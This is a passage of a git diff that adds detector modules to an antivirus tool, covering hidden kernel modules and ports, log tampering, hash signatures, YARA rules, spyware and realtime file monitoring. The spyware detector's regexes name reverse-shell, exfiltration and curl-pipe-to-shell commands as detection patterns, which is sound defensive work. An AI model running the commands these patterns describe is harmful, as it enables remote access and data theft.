+ def _check_hidden_kernel_modules(self) -> List[DetectionResult]: + """Compare ``lsmod`` output with ``/proc/modules`` to find discrepancies.""" + results: List[DetectionResult] = [] + proc_modules_path = Path("/proc/modules") + if not proc_modules_path.exists(): + return results # non-Linux + + # Modules from /proc/modules. + try: + proc_content = proc_modules_path.read_text() + except PermissionError: + return results + + proc_mods: Set[str] = set() + for line in proc_content.splitlines(): + parts = line.split() + if parts: + proc_mods.add(parts[0]) + + # Modules from lsmod. + lsmod_mods: Set[str] = set() + try: + output = subprocess.check_output(["lsmod"], stderr=subprocess.DEVNULL, timeout=10) + for line in output.decode(errors="replace").splitlines()[1:]: + parts = line.split() + if parts: + lsmod_mods.add(parts[0]) + except (FileNotFoundError, subprocess.SubprocessError, OSError): + return results # lsmod not available + + # Modules in /proc but NOT in lsmod → hidden from userspace. + hidden = proc_mods - lsmod_mods + for mod in hidden: + results.append(DetectionResult( + threat_name="Rootkit.HiddenKernelModule", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=80, + details=f"Kernel module '{mod}' in /proc/modules but hidden from lsmod", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Hidden network ports + # ------------------------------------------------------------------ + + def _check_hidden_network_ports(self) -> List[DetectionResult]: + """Compare ``ss``/``netstat`` listening ports with psutil.""" + results: List[DetectionResult] = [] + + # Ports from psutil. + psutil_ports: Set[int] = set() + try: + for conn in psutil.net_connections(kind="inet"): + if conn.status == "LISTEN" and conn.laddr: + psutil_ports.add(conn.laddr.port) + except psutil.AccessDenied: + return results + + # Ports from ss. + ss_ports: Set[int] = set() + try: + output = subprocess.check_output( + ["ss", "-tlnH"], stderr=subprocess.DEVNULL, timeout=10 + ) + for line in output.decode(errors="replace").splitlines(): + # Typical ss output: LISTEN 0 128 0.0.0.0:22 ... + parts = line.split() + for part in parts: + if ":" in part: + try: + port = int(part.rsplit(":", 1)[1]) + ss_ports.add(port) + except (ValueError, IndexError): + continue + except (FileNotFoundError, subprocess.SubprocessError, OSError): + return results # ss not available + + # Ports in ss but not in psutil → potentially hidden by a rootkit. + hidden = ss_ports - psutil_ports + for port in hidden: + results.append(DetectionResult( + threat_name="Rootkit.HiddenPort", + threat_type="ROOTKIT", + severity="HIGH", + confidence=70, + details=f"Listening port {port} visible to ss but hidden from psutil", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Malicious environment variables + # ------------------------------------------------------------------ + + def _check_malicious_env_vars(self) -> List[DetectionResult]: + """Check the current environment for known-risky variables.""" + results: List[DetectionResult] = [] + for entry in MALICIOUS_ENV_VARS: + if "=" in entry: + # Exact key=value match (e.g. "HISTFILE=/dev/null"). + key, val = entry.split("=", 1) + if os.environ.get(key) == val: + results.append(DetectionResult( + threat_name="Rootkit.EnvVar.Suspicious", + threat_type="ROOTKIT", + severity="HIGH", + confidence=75, + details=f"Suspicious environment variable: {key}={val}", + detector_name=self.name, + )) + else: + # Key presence check (e.g. "LD_PRELOAD"). + if entry in os.environ: + results.append(DetectionResult( + threat_name="Rootkit.EnvVar.Suspicious", + threat_type="ROOTKIT", + severity="HIGH", + confidence=65, + details=f"Suspicious environment variable set: {entry}={os.environ[entry][:100]}", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Tampered log files + # ------------------------------------------------------------------ + + _LOG_PATHS = [ + "/var/log/auth.log", + "/var/log/syslog", + "/var/log/messages", + "/var/log/secure", + "/var/log/wtmp", + "/var/log/btmp", + "/var/log/lastlog", + ] + + def _check_tampered_logs(self) -> List[DetectionResult]: + """Look for signs of log tampering: zero-byte logs, missing logs, + or logs whose mtime is suspiciously older than expected. + """ + results: List[DetectionResult] = [] + + for log_path_str in self._LOG_PATHS: + log_path = Path(log_path_str) + if not log_path.exists(): + # Missing critical log. + if log_path_str in ("/var/log/auth.log", "/var/log/syslog", "/var/log/wtmp"): + results.append(DetectionResult( + threat_name="Rootkit.Log.Missing", + threat_type="ROOTKIT", + severity="HIGH", + confidence=60, + details=f"Critical log file missing: {log_path_str}", + detector_name=self.name, + )) + continue + + try: + st = log_path.stat() + except OSError: + continue + + # Zero-byte log file (may have been truncated). + if st.st_size == 0: + results.append(DetectionResult( + threat_name="Rootkit.Log.Truncated", + threat_type="ROOTKIT", + severity="HIGH", + confidence=70, + details=f"Log file is empty (possibly truncated): {log_path_str}", + detector_name=self.name, + )) + + return results diff --git a/ayn-antivirus/ayn_antivirus/detectors/signature_detector.py b/ayn-antivirus/ayn_antivirus/detectors/signature_detector.py new file mode 100644 index 0000000..414f4a9 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/signature_detector.py @@ -0,0 +1,192 @@ +"""AYN Antivirus — Signature-based Detector. + +Looks up file hashes against the threat signature database populated by +the feed update pipeline (MalwareBazaar, ThreatFox, etc.). Uses +:class:`~ayn_antivirus.signatures.db.hash_db.HashDatabase` so that +definitions written by ``ayn-antivirus update`` are immediately available +for detection. +""" + +from __future__ import annotations + +import logging +from pathlib import Path +from typing import Dict, List, Optional + +from ayn_antivirus.constants import DEFAULT_DB_PATH +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult +from ayn_antivirus.utils.helpers import hash_file as _hash_file_util + +logger = logging.getLogger("ayn_antivirus.detectors.signature") + +_VALID_SEVERITIES = {"CRITICAL", "HIGH", "MEDIUM", "LOW"} + + +class SignatureDetector(BaseDetector): + """Detect known malware by matching file hashes against the signature DB. + + Parameters + ---------- + db_path: + Path to the shared SQLite database that holds the ``threats``, + ``ioc_ips``, ``ioc_domains``, and ``ioc_urls`` tables. + """ + + def __init__(self, db_path: str | Path = DEFAULT_DB_PATH) -> None: + self.db_path = str(db_path) + self._hash_db = None + self._ioc_db = None + self._loaded = False + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "signature_detector" + + @property + def description(self) -> str: + return "Hash-based signature detection using threat intelligence feeds" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + """Check the file's hash against the ``threats`` table. + + If *file_hash* is not supplied it is computed on the fly. + """ + self._ensure_loaded() + results: List[DetectionResult] = [] + + if not self._hash_db: + return results + + # Compute hash if not provided. + if not file_hash: + try: + file_hash = _hash_file_util(str(file_path), algo="sha256") + except Exception: + return results + + # Also compute MD5 for VirusShare lookups. + md5_hash = None + try: + md5_hash = _hash_file_util(str(file_path), algo="md5") + except Exception: + pass + + # Look up SHA256 first, then MD5. + threat = self._hash_db.lookup(file_hash) + if not threat and md5_hash: + threat = self._hash_db.lookup(md5_hash) + if threat: + severity = (threat.get("severity") or "HIGH").upper() + if severity not in _VALID_SEVERITIES: + severity = "HIGH" + results.append(DetectionResult( + threat_name=threat.get("threat_name", "Malware.Known"), + threat_type=threat.get("threat_type", "MALWARE"), + severity=severity, + confidence=100, + details=( + f"Known threat signature match " + f"(source: {threat.get('source', 'unknown')}). " + f"Hash: {file_hash[:16]}... " + f"Details: {threat.get('details', '')}" + ), + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # IOC lookup helpers (used by engine for network enrichment) + # ------------------------------------------------------------------ + + def lookup_hash(self, file_hash: str) -> Optional[Dict]: + """Look up a single hash. Returns threat info dict or ``None``.""" + self._ensure_loaded() + if not self._hash_db: + return None + return self._hash_db.lookup(file_hash) + + def lookup_ip(self, ip: str) -> Optional[Dict]: + """Look up an IP against the IOC database.""" + self._ensure_loaded() + if not self._ioc_db: + return None + return self._ioc_db.lookup_ip(ip) + + def lookup_domain(self, domain: str) -> Optional[Dict]: + """Look up a domain against the IOC database.""" + self._ensure_loaded() + if not self._ioc_db: + return None + return self._ioc_db.lookup_domain(domain) + + # ------------------------------------------------------------------ + # Statistics + # ------------------------------------------------------------------ + + def get_stats(self) -> Dict: + """Return signature / IOC database statistics.""" + self._ensure_loaded() + stats: Dict = {"hash_count": 0, "loaded": self._loaded} + if self._hash_db: + stats["hash_count"] = self._hash_db.count() + stats.update(self._hash_db.get_stats()) + if self._ioc_db: + stats["ioc_ips"] = len(self._ioc_db.get_all_malicious_ips()) + stats["ioc_domains"] = len(self._ioc_db.get_all_malicious_domains()) + return stats + + @property + def signature_count(self) -> int: + """Number of hash signatures currently loaded.""" + self._ensure_loaded() + return self._hash_db.count() if self._hash_db else 0 + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + def close(self) -> None: + """Close database connections.""" + if self._hash_db: + self._hash_db.close() + self._hash_db = None + if self._ioc_db: + self._ioc_db.close() + self._ioc_db = None + self._loaded = False + + # ------------------------------------------------------------------ + # Internal + # ------------------------------------------------------------------ + + def _ensure_loaded(self) -> None: + """Lazy-load the database connections on first use.""" + if self._loaded: + return + if not self.db_path: + logger.warning("No signature DB path configured") + self._loaded = True + return + try: + from ayn_antivirus.signatures.db.hash_db import HashDatabase + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + + self._hash_db = HashDatabase(self.db_path) + self._hash_db.initialize() + self._ioc_db = IOCDatabase(self.db_path) + self._ioc_db.initialize() + count = self._hash_db.count() + logger.info("Signature DB loaded: %d hash signatures", count) + except Exception as exc: + logger.error("Failed to load signature DB: %s", exc) + self._loaded = True diff --git a/ayn-antivirus/ayn_antivirus/detectors/spyware_detector.py b/ayn-antivirus/ayn_antivirus/detectors/spyware_detector.py new file mode 100644 index 0000000..e36be60 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/spyware_detector.py @@ -0,0 +1,366 @@ +"""Spyware detector for AYN Antivirus. + +Scans files and system state for indicators of spyware: keyloggers, screen +capture utilities, data exfiltration patterns, reverse shells, unauthorized +SSH keys, and suspicious shell-profile modifications. +""" + +from __future__ import annotations + +import re +from pathlib import Path +from typing import List, Optional + +from ayn_antivirus.constants import SUSPICIOUS_CRON_PATTERNS +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult + +# --------------------------------------------------------------------------- +# File-content patterns +# --------------------------------------------------------------------------- + +# Keylogger indicators. +_RE_KEYLOGGER = re.compile( + rb"(?:" + rb"/dev/input/event\d+" + rb"|xinput\s+(?:test|list)" + rb"|xdotool\b" + rb"|showkey\b" + rb"|logkeys\b" + rb"|pynput\.keyboard" + rb"|keyboard\.on_press" + rb"|evdev\.InputDevice" + rb"|GetAsyncKeyState" + rb"|SetWindowsHookEx" + rb")", + re.IGNORECASE, +) + +# Screen / audio capture. +_RE_SCREEN_CAPTURE = re.compile( + rb"(?:" + rb"scrot\b" + rb"|import\s+-window\s+root" + rb"|xwd\b" + rb"|ffmpeg\s+.*-f\s+x11grab" + rb"|xdpyinfo" + rb"|ImageGrab\.grab" + rb"|screenshot" + rb"|pyautogui\.screenshot" + rb"|screencapture\b" + rb")", + re.IGNORECASE, +) + +_RE_AUDIO_CAPTURE = re.compile( + rb"(?:" + rb"arecord\b" + rb"|parecord\b" + rb"|ffmpeg\s+.*-f\s+(?:alsa|pulse|avfoundation)" + rb"|pyaudio" + rb"|sounddevice" + rb")", + re.IGNORECASE, +) + +# Data exfiltration. +_RE_EXFIL = re.compile( + rb"(?:" + rb"curl\s+.*-[FdT]\s" + rb"|curl\s+.*--upload-file" + rb"|wget\s+.*--post-file" + rb"|scp\s+.*@" + rb"|rsync\s+.*@" + rb"|nc\s+-[^\s]*\s+\d+\s*<" + rb"|python[23]?\s+-m\s+http\.server" + rb")", + re.IGNORECASE, +) + +# Reverse shell. +_RE_REVERSE_SHELL = re.compile( + rb"(?:" + rb"bash\s+-i\s+>&\s*/dev/tcp/" + rb"|nc\s+-e\s+/bin/" + rb"|ncat\s+.*-e\s+/bin/" + rb"|socat\s+exec:" + rb"|python[23]?\s+-c\s+['\"]import\s+socket" + rb"|perl\s+-e\s+['\"]use\s+Socket" + rb"|ruby\s+-rsocket\s+-e" + rb"|php\s+-r\s+['\"].*fsockopen" + rb"|mkfifo\s+/tmp/.*;\s*nc" + rb"|/dev/tcp/\d+\.\d+\.\d+\.\d+" + rb")", + re.IGNORECASE, +) + +# Suspicious cron patterns (compiled from constants). +_RE_CRON_PATTERNS = [ + re.compile(pat.encode(), re.IGNORECASE) for pat in SUSPICIOUS_CRON_PATTERNS +] + + +class SpywareDetector(BaseDetector): + """Detect spyware indicators in files and on the host.""" + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "spyware_detector" + + @property + def description(self) -> str: + return "Detects keyloggers, screen capture, data exfiltration, and reverse shells" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + file_path = Path(file_path) + results: List[DetectionResult] = [] + + try: + content = self._read_content(file_path, file_content) + except OSError as exc: + self._warn("Cannot read %s: %s", file_path, exc) + return results + + # --- File-content checks --- + results.extend(self._check_keylogger(file_path, content)) + results.extend(self._check_screen_capture(file_path, content)) + results.extend(self._check_audio_capture(file_path, content)) + results.extend(self._check_exfiltration(file_path, content)) + results.extend(self._check_reverse_shell(file_path, content)) + results.extend(self._check_hidden_cron(file_path, content)) + + # --- Host-state checks (only for relevant paths) --- + results.extend(self._check_authorized_keys(file_path, content)) + results.extend(self._check_shell_profile(file_path, content)) + + return results + + # ------------------------------------------------------------------ + # Keylogger patterns + # ------------------------------------------------------------------ + + def _check_keylogger( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_KEYLOGGER.findall(content) + if matches: + samples = sorted(set(m.decode(errors="replace") for m in matches[:5])) + results.append(DetectionResult( + threat_name="Spyware.Keylogger", + threat_type="SPYWARE", + severity="CRITICAL", + confidence=80, + details=f"Keylogger indicators: {', '.join(samples)}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Screen capture + # ------------------------------------------------------------------ + + def _check_screen_capture( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if _RE_SCREEN_CAPTURE.search(content): + results.append(DetectionResult( + threat_name="Spyware.ScreenCapture", + threat_type="SPYWARE", + severity="HIGH", + confidence=70, + details="Screen-capture tools or API calls detected", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Audio capture + # ------------------------------------------------------------------ + + def _check_audio_capture( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if _RE_AUDIO_CAPTURE.search(content): + results.append(DetectionResult( + threat_name="Spyware.AudioCapture", + threat_type="SPYWARE", + severity="HIGH", + confidence=65, + details="Audio recording tools or API calls detected", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Data exfiltration + # ------------------------------------------------------------------ + + def _check_exfiltration( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_EXFIL.findall(content) + if matches: + samples = [m.decode(errors="replace")[:80] for m in matches[:3]] + results.append(DetectionResult( + threat_name="Spyware.DataExfiltration", + threat_type="SPYWARE", + severity="HIGH", + confidence=70, + details=f"Data exfiltration pattern(s): {'; '.join(samples)}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Reverse shell + # ------------------------------------------------------------------ + + def _check_reverse_shell( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + match = _RE_REVERSE_SHELL.search(content) + if match: + results.append(DetectionResult( + threat_name="Spyware.ReverseShell", + threat_type="SPYWARE", + severity="CRITICAL", + confidence=90, + details=f"Reverse shell pattern: {match.group()[:100]!r}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Hidden cron jobs + # ------------------------------------------------------------------ + + def _check_hidden_cron( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + + # Only check cron-related files. + path_str = str(file_path) + is_cron = any(tok in path_str for tok in ("cron", "crontab", "/var/spool/")) + if not is_cron: + return results + + for pat in _RE_CRON_PATTERNS: + match = pat.search(content) + if match: + results.append(DetectionResult( + threat_name="Spyware.Cron.SuspiciousEntry", + threat_type="SPYWARE", + severity="HIGH", + confidence=80, + details=f"Suspicious cron pattern in {file_path}: {match.group()[:80]!r}", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Unauthorized SSH keys + # ------------------------------------------------------------------ + + def _check_authorized_keys( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if file_path.name != "authorized_keys": + return results + + # Flag if the file exists in an unexpected location. + path_str = str(file_path) + if not path_str.startswith("/root/") and "/.ssh/" not in path_str: + results.append(DetectionResult( + threat_name="Spyware.SSH.UnauthorizedKeysFile", + threat_type="SPYWARE", + severity="HIGH", + confidence=75, + details=f"authorized_keys found in unexpected location: {file_path}", + detector_name=self.name, + )) + + # Check for suspiciously many keys. + key_count = content.count(b"ssh-rsa") + content.count(b"ssh-ed25519") + content.count(b"ecdsa-sha2") + if key_count > 10: + results.append(DetectionResult( + threat_name="Spyware.SSH.ExcessiveKeys", + threat_type="SPYWARE", + severity="MEDIUM", + confidence=55, + details=f"{key_count} SSH keys in {file_path} — possible unauthorized access", + detector_name=self.name, + )) + + # command= prefix can force a shell command on login — often abused. + if b'command="' in content or b"command='" in content: + results.append(DetectionResult( + threat_name="Spyware.SSH.ForcedCommand", + threat_type="SPYWARE", + severity="MEDIUM", + confidence=60, + details=f"Forced command found in authorized_keys: {file_path}", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Shell profile modifications + # ------------------------------------------------------------------ + + _PROFILE_FILES = { + ".bashrc", ".bash_profile", ".profile", ".zshrc", + ".bash_login", ".bash_logout", + } + + _RE_PROFILE_SUSPICIOUS = re.compile( + rb"(?:" + rb"curl\s+[^\n]*\|\s*(?:sh|bash)" + rb"|wget\s+[^\n]*\|\s*(?:sh|bash)" + rb"|/dev/tcp/" + rb"|base64\s+--decode" + rb"|nohup\s+.*&" + rb"|eval\s+\$\(" + rb"|python[23]?\s+-c\s+['\"]import\s+(?:socket|os|pty)" + rb")", + re.IGNORECASE, + ) + + def _check_shell_profile( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if file_path.name not in self._PROFILE_FILES: + return results + + match = self._RE_PROFILE_SUSPICIOUS.search(content) + if match: + results.append(DetectionResult( + threat_name="Spyware.ShellProfile.SuspiciousEntry", + threat_type="SPYWARE", + severity="CRITICAL", + confidence=85, + details=( + f"Suspicious command in shell profile {file_path}: " + f"{match.group()[:100]!r}" + ), + detector_name=self.name, + )) + + return results diff --git a/ayn-antivirus/ayn_antivirus/detectors/yara_detector.py b/ayn-antivirus/ayn_antivirus/detectors/yara_detector.py new file mode 100644 index 0000000..f0bfde6 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/yara_detector.py @@ -0,0 +1,200 @@ +"""YARA-rule detector for AYN Antivirus. + +Compiles and caches YARA rule files from the configured rules directory, +then matches them against scanned files. ``yara-python`` is treated as an +optional dependency — if it is missing the detector logs a warning and +returns no results. +""" + +from __future__ import annotations + +import logging +from pathlib import Path +from typing import Any, List, Optional + +from ayn_antivirus.constants import DEFAULT_YARA_RULES_DIR +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Conditional import — yara-python is optional. +# --------------------------------------------------------------------------- +try: + import yara # type: ignore[import-untyped] + + _YARA_AVAILABLE = True +except ImportError: + _YARA_AVAILABLE = False + yara = None # type: ignore[assignment] + +# Severity mapping for YARA rule meta tags. +_META_SEVERITY_MAP = { + "critical": "CRITICAL", + "high": "HIGH", + "medium": "MEDIUM", + "low": "LOW", +} + + +class YaraDetector(BaseDetector): + """Detect threats by matching YARA rules against file contents. + + Parameters + ---------- + rules_dir: + Directory containing ``.yar`` / ``.yara`` rule files. Defaults to + the bundled ``signatures/yara_rules/`` directory. + """ + + def __init__(self, rules_dir: str | Path = DEFAULT_YARA_RULES_DIR) -> None: + self.rules_dir = Path(rules_dir) + self._rules: Any = None # compiled yara.Rules object + self._rule_count: int = 0 + self._loaded = False + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "yara_detector" + + @property + def description(self) -> str: + return "Pattern matching using compiled YARA rules" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + """Match all loaded YARA rules against *file_path*. + + Falls back to in-memory matching if *file_content* is provided. + """ + if not _YARA_AVAILABLE: + self._warn("yara-python is not installed — skipping YARA detection") + return [] + + if not self._loaded: + self.load_rules() + + if self._rules is None: + return [] + + file_path = Path(file_path) + results: List[DetectionResult] = [] + + try: + if file_content is not None: + matches = self._rules.match(data=file_content) + else: + matches = self._rules.match(filepath=str(file_path)) + except yara.Error as exc: + self._warn("YARA scan failed for %s: %s", file_path, exc) + return results + + for match in matches: + meta = match.meta or {} + severity = _META_SEVERITY_MAP.get( + str(meta.get("severity", "")).lower(), "HIGH" + ) + threat_type = meta.get("threat_type", "MALWARE").upper() + threat_name = meta.get("threat_name") or match.rule + + matched_strings = [] + try: + for offset, identifier, data in match.strings: + matched_strings.append( + f"{identifier} @ 0x{offset:x}" + ) + except (TypeError, ValueError): + # match.strings format varies between yara-python versions. + pass + + detail_parts = [f"YARA rule '{match.rule}' matched"] + if match.namespace and match.namespace != "default": + detail_parts.append(f"namespace={match.namespace}") + if matched_strings: + detail_parts.append( + f"strings=[{', '.join(matched_strings[:5])}]" + ) + if meta.get("description"): + detail_parts.append(meta["description"]) + + results.append(DetectionResult( + threat_name=threat_name, + threat_type=threat_type, + severity=severity, + confidence=int(meta.get("confidence", 90)), + details=" | ".join(detail_parts), + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Rule management + # ------------------------------------------------------------------ + + def load_rules(self, rules_dir: Optional[str | Path] = None) -> None: + """Compile all ``.yar`` / ``.yara`` files in *rules_dir*. + + Compiled rules are cached in ``self._rules``. Call this again + after updating rule files to pick up changes. + """ + if not _YARA_AVAILABLE: + self._warn("yara-python is not installed — cannot load rules") + return + + directory = Path(rules_dir) if rules_dir else self.rules_dir + if not directory.is_dir(): + self._warn("YARA rules directory does not exist: %s", directory) + return + + rule_files = sorted( + p for p in directory.iterdir() + if p.suffix.lower() in (".yar", ".yara") and p.is_file() + ) + + if not rule_files: + self._log("No YARA rule files found in %s", directory) + self._rules = None + self._rule_count = 0 + self._loaded = True + return + + # Build a filepaths dict for yara.compile(filepaths={...}). + filepaths = {} + for idx, rf in enumerate(rule_files): + namespace = rf.stem + filepaths[namespace] = str(rf) + + try: + self._rules = yara.compile(filepaths=filepaths) + self._rule_count = len(rule_files) + self._loaded = True + self._log( + "Compiled %d YARA rule file(s) from %s", + self._rule_count, + directory, + ) + except yara.SyntaxError as exc: + self._error("YARA compilation error: %s", exc) + self._rules = None + except yara.Error as exc: + self._error("YARA error: %s", exc) + self._rules = None + + @property + def rule_count(self) -> int: + """Number of rule files currently compiled.""" + return self._rule_count + + @property + def available(self) -> bool: + """Return ``True`` if ``yara-python`` is installed.""" + return _YARA_AVAILABLE diff --git a/ayn-antivirus/ayn_antivirus/monitor/__init__.py b/ayn-antivirus/ayn_antivirus/monitor/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/monitor/realtime.py b/ayn-antivirus/ayn_antivirus/monitor/realtime.py new file mode 100644 index 0000000..522c2b2 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/monitor/realtime.py @@ -0,0 +1,265 @@ +"""Real-time file-system monitor for AYN Antivirus. + +Uses the ``watchdog`` library to observe directories for file creation, +modification, and move events, then immediately scans the affected files +through the :class:`ScanEngine`. Supports debouncing, auto-quarantine, +and thread-safe operation. +""" + +from __future__ import annotations + +import logging +import threading +import time +from pathlib import Path +from typing import Any, Dict, List, Optional, Set + +from watchdog.events import FileSystemEvent, FileSystemEventHandler +from watchdog.observers import Observer + +from ayn_antivirus.config import Config +from ayn_antivirus.core.engine import ScanEngine, FileScanResult +from ayn_antivirus.core.event_bus import EventType, event_bus +from ayn_antivirus.quarantine.vault import QuarantineVault + +logger = logging.getLogger(__name__) + +# File suffixes that are almost always transient / editor artefacts. +_SKIP_SUFFIXES = frozenset(( + ".tmp", ".swp", ".swx", ".swo", ".lock", ".part", + ".crdownload", ".kate-swp", ".~lock.", ".bak~", +)) + +# Minimum seconds between re-scanning the same path (debounce). +_DEBOUNCE_SECONDS = 2.0 + + +# --------------------------------------------------------------------------- +# Watchdog event handler +# --------------------------------------------------------------------------- + +class _FileEventHandler(FileSystemEventHandler): + """Internal handler that bridges watchdog events to the scan engine. + + Parameters + ---------- + monitor: + The owning :class:`RealtimeMonitor` instance. + """ + + def __init__(self, monitor: RealtimeMonitor) -> None: + super().__init__() + self._monitor = monitor + + # Only react to file events (not directories). + + def on_created(self, event: FileSystemEvent) -> None: + if not event.is_directory: + self._monitor._on_file_event(event.src_path, "created") + + def on_modified(self, event: FileSystemEvent) -> None: + if not event.is_directory: + self._monitor._on_file_event(event.src_path, "modified") + + def on_moved(self, event: FileSystemEvent) -> None: + if not event.is_directory: + dest = getattr(event, "dest_path", None) + if dest: + self._monitor._on_file_event(dest, "moved") + + +# --------------------------------------------------------------------------- +# RealtimeMonitor +# --------------------------------------------------------------------------- + +class RealtimeMonitor: + """Watch directories and scan new / changed files in real time. + + Parameters + ---------- + config: + Application configuration. + scan_engine: + A pre-built :class:`ScanEngine` instance used to scan files. + """ + + def __init__(self, config: Config, scan_engine: ScanEngine) -> None: + self.config = config + self.engine = scan_engine + + self._observer: Optional[Observer] = None + self._lock = threading.Lock() + self._recent: Dict[str, float] = {} # path → last-scan timestamp + self._running = False + + # Optional auto-quarantine vault. + self._vault: Optional[QuarantineVault] = None + if config.auto_quarantine: + self._vault = QuarantineVault(config.quarantine_path) + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def start(self, paths: Optional[List[str]] = None, recursive: bool = True) -> None: + """Begin monitoring *paths* (defaults to ``config.scan_paths``). + + Parameters + ---------- + paths: + Directories to watch. + recursive: + Watch subdirectories as well. + """ + watch_paths = paths or self.config.scan_paths + + with self._lock: + if self._running: + logger.warning("RealtimeMonitor is already running") + return + + self._observer = Observer() + handler = _FileEventHandler(self) + + for p in watch_paths: + pp = Path(p) + if not pp.is_dir(): + logger.warning("Skipping non-existent path: %s", p) + continue + self._observer.schedule(handler, str(pp), recursive=recursive) + logger.info("Watching: %s (recursive=%s)", pp, recursive) + + self._observer.start() + self._running = True + + logger.info("RealtimeMonitor started — watching %d path(s)", len(watch_paths)) + event_bus.publish(EventType.SCAN_STARTED, { + "type": "realtime_monitor", + "paths": watch_paths, + }) + + def stop(self) -> None: + """Stop monitoring and wait for the observer thread to exit.""" + with self._lock: + if not self._running or self._observer is None: + return + self._observer.stop() + + self._observer.join(timeout=10) + + with self._lock: + self._running = False + self._observer = None + + logger.info("RealtimeMonitor stopped") + + @property + def is_running(self) -> bool: + with self._lock: + return self._running + + # ------------------------------------------------------------------ + # Event callbacks (called by _FileEventHandler) + # ------------------------------------------------------------------ + + def on_file_created(self, path: str) -> None: + """Scan a newly created file.""" + self._scan_file(path, "created") + + def on_file_modified(self, path: str) -> None: + """Scan a modified file.""" + self._scan_file(path, "modified") + + def on_file_moved(self, path: str) -> None: + """Scan a file that was moved/renamed into a watched directory.""" + self._scan_file(path, "moved") + + # ------------------------------------------------------------------ + # Internal + # ------------------------------------------------------------------ + + def _on_file_event(self, path: str, event_type: str) -> None: + """Central dispatcher invoked by the watchdog handler.""" + if self._should_skip(path): + return + + if self._is_debounced(path): + return + + logger.debug("File event: %s %s", event_type, path) + + # Dispatch to the named callback (also usable directly). + if event_type == "created": + self.on_file_created(path) + elif event_type == "modified": + self.on_file_modified(path) + elif event_type == "moved": + self.on_file_moved(path) + + def _scan_file(self, path: str, reason: str) -> None: + """Run the scan engine against a single file and handle results.""" + fp = Path(path) + if not fp.is_file(): + return + + try: + result: FileScanResult = self.engine.scan_file(fp) + except Exception: + logger.exception("Error scanning %s", fp) + return + + if result.threats: + logger.warning( + "THREAT detected (%s) in %s: %s", + reason, + path, + ", ".join(t.threat_name for t in result.threats), + ) + + # Auto-quarantine if enabled. + if self._vault and fp.exists(): + try: + threat = result.threats[0] + qid = self._vault.quarantine_file(fp, { + "threat_name": threat.threat_name, + "threat_type": threat.threat_type.name if hasattr(threat.threat_type, "name") else str(threat.threat_type), + "severity": threat.severity.name if hasattr(threat.severity, "name") else str(threat.severity), + "file_hash": result.file_hash, + }) + logger.info("Auto-quarantined %s → %s", path, qid) + except Exception: + logger.exception("Auto-quarantine failed for %s", path) + else: + logger.debug("Clean: %s (%s)", path, reason) + + # ------------------------------------------------------------------ + # Debounce & skip logic + # ------------------------------------------------------------------ + + def _is_debounced(self, path: str) -> bool: + """Return ``True`` if *path* was scanned within the debounce window.""" + now = time.monotonic() + with self._lock: + last = self._recent.get(path, 0.0) + if now - last < _DEBOUNCE_SECONDS: + return True + self._recent[path] = now + + # Prune stale entries periodically. + if len(self._recent) > 5000: + cutoff = now - _DEBOUNCE_SECONDS * 2 + self._recent = { + k: v for k, v in self._recent.items() if v > cutoff + } + return False + + @staticmethod + def _should_skip(path: str) -> bool: + """Return ``True`` for temporary / lock / editor backup files.""" + name = Path(path).name.lower() + if any(name.endswith(s) for s in _SKIP_SUFFIXES): + return True + # Hidden editor temp files like .#foo or 4913 (vim temp). + if name.startswith(".#"): + return True + return False diff --git a/ayn-antivirus/ayn_antivirus/quarantine/__init__.py b/ayn-antivirus/ayn_antivirus/quarantine/__init__.py new file mode 100644 index 0000000..e69de29 diff --git 